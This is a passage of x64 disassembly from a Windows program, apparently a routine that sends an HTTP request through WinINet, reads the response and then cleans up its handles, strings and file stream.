mov rax, qword [rbp + 0xb58]
vmovdqa xmm0, xmmword [rbp + 0xb40]
vmovdqa xmmword [rax], xmm0
nop
lea rdx, [rbp + 0xb20]
mov rax, qword [rbp + 0xec8]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp + 0xec0], rax
cmp qword [rbp + 0xec0], 0
jne 0x1400050f0
mov rax, qword [rbp + 0xec8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xed0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 0xe4
jmp 0x1400052d4
mov dword [rbp + 0x70c], 0xea60
lea rdx, [rbp + 0x70c]
mov rax, qword [rbp + 0xec0]
mov r9d, 4
mov r8, rdx
mov edx, 6
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetSetOptionA]
call rax
lea rax, [rbp + 0x710]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
mov dword [rbp + 0xebc], eax
lea rax, [rbp + 0x710]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x980]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
mov esi, eax
lea rax, [rbp + 0x980]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [rbp + 0xec0]
mov edx, dword [rbp + 0xebc]
mov dword [rsp + 0x20], edx
mov r9, rbx
mov r8d, esi
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestA]
call rax
test eax, eax
sete al
test al, al
je 0x140005203
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0xeb8], eax
mov rax, qword [rbp + 0xec0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xec8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xed0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
cmp dword [rbp + 0xeb8], 0x2ee2
jne 0x1400051f9
mov ebx, 0xe7
jmp 0x1400052d4
mov ebx, 0xe3
jmp 0x1400052d4
mov rax, qword [rbp + 0xf48]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.clear__
mov dword [rbp + 0x2fc], 0
jmp 0x14000524e
mov eax, dword [rbp + 0x2fc]
mov eax, eax
mov byte [rbp + rax + 0x300], 0
lea rdx, [rbp + 0x300]
mov rax, qword [rbp + 0xf48]
mov rcx, rax
call fcn.1400b6280
mov dword [rbp + 0x2fc], 0
lea rcx, [rbp + 0x2fc]
lea rdx, [rbp + 0x300]
mov rax, qword [rbp + 0xec0]
mov r9, rcx
mov r8d, 0x3ff
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x14000528d
mov eax, dword [rbp + 0x2fc]
test eax, eax
je 0x14000528d
mov eax, 1
jmp 0x140005292
mov eax, 0
test al, al
jne 0x14000521e
mov rax, qword [rbp + 0xec0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xec8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xed0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 0xe8
lea rax, [rbp + 0x710]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x730]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector__
lea rax, [rbp + 0x750]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.basic_ifstream__
lea rax, [rbp + 0x940]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x960]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x980]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x9c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x1400054cc
add rsp, 0xf68
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret